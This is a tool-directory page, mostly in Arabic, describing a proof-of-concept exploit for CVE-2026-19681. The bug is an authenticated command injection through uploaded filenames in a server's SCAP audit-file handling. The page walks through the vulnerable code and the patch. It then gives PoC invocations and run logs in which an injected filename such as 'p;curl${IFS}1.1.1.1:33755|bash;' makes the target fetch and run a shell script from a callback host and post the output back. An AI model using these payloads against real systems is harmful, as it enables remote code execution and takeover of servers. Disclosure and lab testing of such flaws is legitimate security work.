Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
POC-CVE-2026-19681 — استغلال إثبات المفهوم لحقن أوامر بعد المصادقة في معالجة رفع الملفات، يوضح سلسلة من خطوتين عبر REST API مع توقيت أعمى وتنفيذ أوامر قائم على الاستدعاء. | Kitploit
أدوات/GitHubGitHub/h00die/poc-cve-2026-19681
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةتطوير الحمولات
GitHubh00die/poc-cve-2026-19681

POC-CVE-2026-19681

استغلال إثبات المفهوم لحقن أوامر بعد المصادقة في معالجة رفع الملفات، يوضح سلسلة من خطوتين عبر REST API مع توقيت أعمى وتنفيذ أوامر قائم على الاستدعاء.

عرض المستودع
منذ يوم واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

صورة CVE

CVE-2026-19681 — حقن أوامر في معالجة رفع الملفات (يتطلب مصادقة)

الحالة: مؤكَّدة على مختبر 6.7.2-14.el9 (2026-08-20). تم تجهيز اسم الملف p;sleep${IFS}20;-EvvfJk عبر POST /rest/file/upload (تحمل بادئة context المحارف الخاصة)، ثم تعطّل POST /rest/auditFile (type=scapLinux, version=1.2) لمدة 20.1 ثانية بالضبط وأعاد الخطأ 106 ("خطأ في إضافة ملف التخصيص إلى ملف SCAP zip") — مسار الخطأ الطبيعي بعد الحقن. يحدث التنفيذ داخل أمر الصدفة zip -9Tj بمستخدم خدمة الويب. (تم إصلاحها في 6.9.0 وفقًا لمقارنة RPM؛ الثغرة موجودة في 6.7.2–6.8.x على الأقل.)

الثغرة

سلسلة من خطوتين، كلتاهما تحت سيطرة المهاجم:

  1. التحكم في اسم الملف — يخزّن POST /rest/file الملفات المرفوعة عبر Filesystem::saveTmp() ()، والذي يبني الاسم على القرص من معامل الخام القادم من العميل: . السياقات غير المعروفة تتخطى جميع عمليات التحقق من المحتوى (يصفها إشعار بأنها "مفتوحة على مصراعيها منذ SC 4.x") ولكنها ما تزال تُخزَّن — لذا تبقى محارف الصدفة الخاصة (، ، backticks) في اسم الملف المُجهَّز.

FilesystemLib.php:587
context
tempnam($tmpDir, "$userID.$token." . $context . "-")
Files.php
;
$()
  • نقطة الحقن — يدخل POST /rest/auditFile مع type∈SCAP وversion=1.2 إلى فرع التخصيص (AuditFiles.php:163): $scapZipFile = $tmpDir . $params['filename'] (مُتحكَم فيه بالكامل من العميل) → AuditFileLib::addSCAPTailoringFile() السطر 2304: $tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip" — يزيل basename() الرمز / ولكن ليس محارف الصدفة الخاصة — ثم بدون تهريب في exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc").

  • نقطة حقن ثانية من الفئة نفسها: Files.php:360 exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/") في extractFile().

    التصحيح (6.9.0)

    يُستخدَم escapeshellarg($tmpZipFile) في أمري zip معًا؛ يستبدل Utility::execSafe() (proc_open بصيغة argv + فاصل --) أمر exec النصي الخاص بـ unzip؛ وأُضيف التحقق من اسم الملف في AuditFiles::applySCAPTailoringFile() (وهذا هو CVE-2026-19679).

    إثبات المفهوم (PoC)

    root@kitploit:~
    # blind timing check (sleep in the context prefix; no '/' needed)
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --check
    
    # run a command with output capture: the PoC serves the script over HTTP, injects a
    # short curl|bash callback, and prints the POSTed-back output. Target must be able to
    # reach this machine (same L2 in the lab).
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami
    
    # verbatim injection (no callback) — payload must fit ~47 chars
    ./poc.py --target https://sc.lab --username analyst --password 'pass' \
             --cmd 'touch${IFS}/tmp/pwned' --no-exfil
    

    ملاحظات:

    • مورد الرفع هو /rest/file/upload (حقل multipart Filedata، حقل نموذج context) — اكتُشف على المختبر؛ قد تختلف الإصدارات الأخرى، وجرى فحص مرشّحات بديلة.
    • ميزانية الطول: يقتطع tempnam() في PHP بادئة الاسم المُجهَّز — لا ينجو سوى ~50-55 حرفًا من context (قِيست على المختبر؛ قُطعت نسخة hex-bootstrap في منتصف الحمولة). الحقن القصير مثل p;sleep${IFS}20; يناسب؛ وكل ما هو أطول يمر عبر خادم الاستدعاء.
    • يتطلب جسم auditFile: type=scapLinux|scapWindows، version=1.2، benchmarkName، dataStreamName (وفقًا لـ AuditFiles::validateAdd)؛ يرفض PARAM_FILENAME فقط / والملفات غير الموجودة، لذا يمرّ ;/${IFS}.
    • يجب أن يحتوي رفع التخصيص (context=tailoringFile) على XML datastream قابل للتحليل مع Profile واحد على الأقل — تم تضمين نسخة مصغّرة منه.

    عناصر التحقق في المختبر (يُشار إليها في مخرجات السكربت عند فشلها):

    • يجب أن يفي XML التخصيص المصغّر المضمّن بمتطلبات SCAPTailoringFileParser (ملف تعريف واحد على الأقل)؛ استبدله بـ datastream تخصيص SCAP حقيقي إذا رُفض.
    • يجب أن تطابق سلسلة type أحد أعضاء AuditFileLib::$validSCAPTypes (المتوقع scap).
    • تأتي مفاتيح جسم auditFile الدقيقة من AuditFiles::validateAdd()؛ اضبطها إذا أعاد POST خطأ في المعاملات.

    انظر أيضًا

    • ../cve-2026-19679/ — نصف التحقق من المدخلات في السلسلة نفسها (تنقية اسم الملف)، مع مقارنة تفاضلية لكشف الإصدار.

    أمثلة على التشغيل

    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
    [+] authenticated, token 20425636...
    [*] callback server on 1.1.1.1:33755 — injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-15xUAv'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    tns
    
    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
    [+] authenticated, token 20958963...
    [*] callback server on 1.1.1.1:36809 — injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-DQzq4v'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    /opt/sc/www
    
    تنزيل الأداة